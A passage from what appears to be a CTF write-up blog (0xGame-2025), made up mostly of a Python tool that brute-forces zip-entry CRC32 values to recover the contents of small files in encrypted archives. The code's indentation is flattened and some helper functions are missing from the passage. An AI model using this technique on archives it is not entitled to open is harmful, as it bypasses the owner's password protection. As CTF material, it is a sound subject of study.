def TwoByte(zipname):
zip_url = "./" + zipname
file_zip = zipfile.ZipFile(zip_url) #用zipfile读取指定的压缩包文件
name_list = sorted(file_zip.namelist(), key=natural_key) #使用一个列表,获取并存储压缩包内所有的文件名,并按自然顺序的文件名排序
crc_list = []
crc32_list = []
print('+--------------遍历指定压缩包的CRC值----------------+')
for name in name_list:
name_message = file_zip.getinfo(name)
crc_list.append(name_message.CRC)
crc32_list.append(hex(name_message.CRC))
print('[OK] {0}: {1}'.format(name,hex(name_message.CRC)))
print('+-------------对输出的CRC值进行碰撞-----------------+')
comment = ''
chars = string.printable
for crc_value in crc_list:
for char1 in chars:
for char2 in chars:
res_char = char1 + char2 #获取任意2Byte字符
thicken_crc = binascii.crc32(res_char.encode()) #获取任意2Byte字符串的CRC32值
calc_crc = thicken_crc & 0xffffffff #将任意2Byte字符串的CRC32值与0xffffffff进行与运算
if calc_crc == crc_value: #匹配两个CRC32值
print('[Success] {}: {}'.format(hex(crc_value),res_char))
comment += res_char
print('+-----------------CRC碰撞结束!!!-----------------+')
crc32_list = str(crc32_list)
crc32_list = crc32_list.replace('\'' , '')
print("读取成功,导出CRC列表为:" + crc32_list) #导出CRC列表
if comment:
print('CRC碰撞成功,结果为: {}'.format(comment)) #输出CRC碰撞结果
else:
print('CRC碰撞没有结果,请检查压缩包内文件是否为2Byte!!!')

def ThreeByte(zipname):
import zipfile, binascii

zip_url = "./" + zipname
file_zip = zipfile.ZipFile(zip_url)
name_list = sorted(file_zip.namelist(), key=natural_key)
crc_list = [file_zip.getinfo(name).CRC for name in name_list]
crc32_list = [hex(c) for c in crc_list]

print('+--------------遍历指定压缩包的CRC值----------------+')
for name, crc in zip(name_list, crc_list):
print(f'[OK] {name}: {hex(crc)}')

print('+-------------对输出的CRC值进行碰撞-----------------+')

# 处理重复 CRC:同一 CRC 可能对应多个文件,需依次分配到对应下标
from collections import defaultdict
crc_to_indices = defaultdict(list)
for idx, c in enumerate(crc_list):
crc_to_indices[c].append(idx)
crc_assign_pos = {c: 0 for c in crc_to_indices}

result_dict = {}

# === 扩展字符范围集合 ===
ranges = [
(0x0020, 0x007E), # 基本ASCII(英文符号、数字、字母)
(0x3000, 0x303F), # 中文标点
(0x2E80, 0x2EFF), # 部首补充
(0x31C0, 0x31EF), # 汉字笔画
(0x2F00, 0x2FDF), # 康熙部首
(0x3400, 0x4DBF), # 扩展A
(0x4E00, 0x9FFF), # 基本汉字
(0xF900, 0xFAFF), # 兼容汉字(繁体)
(0xFF00, 0xFFEF), # 全角字符
(0x3040, 0x309F), # 平假名
(0x30A0, 0x30FF), # 片假名
(0xAC00, 0xD7AF), # 韩文音节
(0x20000, 0x2A6DF), # 扩展B
(0x2A700, 0x2B73F), # 扩展C
(0x2B740, 0x2B81F), # 扩展D
(0x2B820, 0x2CEAF), # 扩展E
(0x2CEB0, 0x2EBEF), # 扩展F
(0x30000, 0x3134F), # 扩展G
(0x1F300, 0x1F64F), # Emoji 基本表情
(0x1F900, 0x1F9FF), # Emoji 扩展
]

total_chars = sum(end - start + 1 for start, end in ranges)
print(f"[Info] 加载字符范围约 {total_chars:,} 个(搜索可能较慢,请耐心等待)")

# 遍历所有范围
for start, end in ranges:
for code in range(start, end + 1):
try:
ch = chr(code)
crc_val = binascii.crc32(ch.encode('utf-8')) & 0xffffffff
if crc_val in crc_to_indices:
indices = crc_to_indices[crc_val]
pos = crc_assign_pos[crc_val]
# 将匹配到的字符填充到该 CRC 对应的所有剩余索引位置,避免重复 CRC 只匹配一次导致缺字
while pos < len(indices):
idx = indices[pos]
if idx not in result_dict:
print(f'[Success] {name_list[idx]}: {ch}')
result_dict[idx] = ch
pos += 1
crc_assign_pos[crc_val] = pos
except Exception:
# 某些代理字符或不可编码字符会触发异常,跳过
continue

# 二次策略:对尚未匹配到的索引,尝试 3-Byte 可打印字符暴力搜索(适配内容如 "abc")
unmatched = set(range(len(crc_list))) - set(result_dict.keys())
if unmatched:
print('[Info] 尝试 3-Byte 可打印字符暴力搜索(ASCII printable x3)')
chars3 = string.printable
found_all = False
for char1 in chars3:
for char2 in chars3:
for char3 in chars3:
res_char = char1 + char2 + char3
calc_crc = binascii.crc32(res_char.encode()) & 0xffffffff
if calc_crc in crc_to_indices:
for idx in crc_to_indices[calc_crc]:
if idx in unmatched:
result_dict[idx] = res_char
print(f'[Success] {name_list[idx]}: {res_char}')
unmatched.remove(idx)
if not unmatched:
found_all = True
break
if found_all:
break
if found_all:
break
if found_all:
break

comment = ''.join([result_dict[i] for i in sorted(result_dict.keys())])
print('+-----------------CRC碰撞结束!!!-----------------+')
if comment:
print(f'CRC碰撞成功,结果为: {comment}')
else:
print('CRC碰撞没有结果,请检查文件是否为特殊编码或多字节组合。')




def FourByte(zipname):
zip_url = "./" + zipname
file_zip = zipfile.ZipFile(zip_url) #用zipfile读取指定的压缩包文件
name_list = sorted(file_zip.namelist(), key=natural_key) #使用一个列表,获取并存储压缩包内所有的文件名,并按自然顺序的文件名排序
crc_list = []
crc32_list = []
print('+--------------遍历指定压缩包的CRC值----------------+')
for name in name_list:
name_message = file_zip.getinfo(name)
crc_list.append(name_message.CRC)
crc32_list.append(hex(name_message.CRC))
print('[OK] {0}: {1}'.format(name,hex(name_message.CRC)))
print('+-------------对输出的CRC值进行碰撞-----------------+')
comment = ''
chars = string.printable
result_dict={}
for char1 in chars:
for char2 in chars:
for char3 in chars:
for char4 in chars:
res_char = char1 + char2 + char3 + char4 #获取任意4Byte字符
thicken_crc = binascii.crc32(res_char.encode()) #获取任意4Byte字符串的CRC32值
calc_crc = thicken_crc & 0xffffffff #将任意4Byte字符串的CRC32值与0xffffffff进行与运算
for crc_value in crc_list:
if calc_crc == crc_value: #匹配两个CRC32值
index = crc32_list.index(hex(crc_value))
num = int(index)
new_data = {num : res_char}
print('[Success] 第 {} 个文件 {}: {}'.format(num,hex(crc_value),res_char))
result_dict.update(new_data)
break
sorted_items = sorted(result_dict.items())
for key, res_char in sorted_items:
comment += res_char
print('+-----------------CRC碰撞结束!!!-----------------+')
crc32_list = str(crc32_list)
crc32_list = crc32_list.replace('\'' , '')
print("读取成功,导出CRC列表为:" + crc32_list) #导出CRC列表
if comment:
print('CRC碰撞成功,结果为: {}'.format(comment)) #输出CRC碰撞结果
else:
print('CRC碰撞没有结果,请检查压缩包内文件是否为4Byte!!!')

if __name__ == '__main__':
title()
parser = argparse.ArgumentParser(description="CRC-Tools V2.2", epilog='根据压缩包内容选择不同参数,诸如:python3 CRC-Tools.py -4 4Byte-Demo.zip 目前只支持1-4Byte的压缩包CRC碰撞')
#parser = argparse.ArgumentParser(prog="CRC32-Tools", usage="开源项目[%(prog)s] 实现了如下功能:")
parser.add_argument('-z', action='store', dest='readzip', help='读取对应压缩包,输出各个文件CRC值列表')
parser.add_argument('-1', action='store', dest='onebyte', help='对1Byte的压缩包自动进行CRC碰撞并输出文件内容')
parser.add_argument('-2', action='store', dest='twobyte', help='对2Byte的压缩包自动进行CRC碰撞并输出文件内容')
parser.add_argument('-3', action='store', dest='threebyte', help='对3Byte的压缩包自动进行CRC碰撞并输出文件内容')
parser.add_argument('-4', action='store', dest='fourbyte', help='对4Byte的压缩包自动进行CRC碰撞并输出文件内容')
args = parser.parse_args()
try:
if args.readzip:
FileRead(args.readzip)
ReadCRC(args.readzip)
if args.onebyte:
FileRead(args.onebyte)
OneByte(args.onebyte)
if args.twobyte:
FileRead(args.twobyte)
TwoByte(args.twobyte)
if args.threebyte:
FileRead(args.threebyte)
ThreeByte(args.threebyte)
if args.fourbyte:
FileRead(args.fourbyte)
FourByte(args.fourbyte)
except KeyboardInterrupt:
print("Ctrl + C 手动终止了进程")
sys.exit()
except BaseException as e:
err = str(e)
print('脚本详细报错:' + err)
sys.exit(0)

是中文,而且为utf-8编码,得到明文

  • 标题: 0xGame-2025
  • 作者: tiran
  • 创建于 : 2025-11-07 18:28:56
  • 更新于 : 2025-11-07 18:29:55
  • 链接: https://www.tiran.cc/2025/11/07/0xGame-2025/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。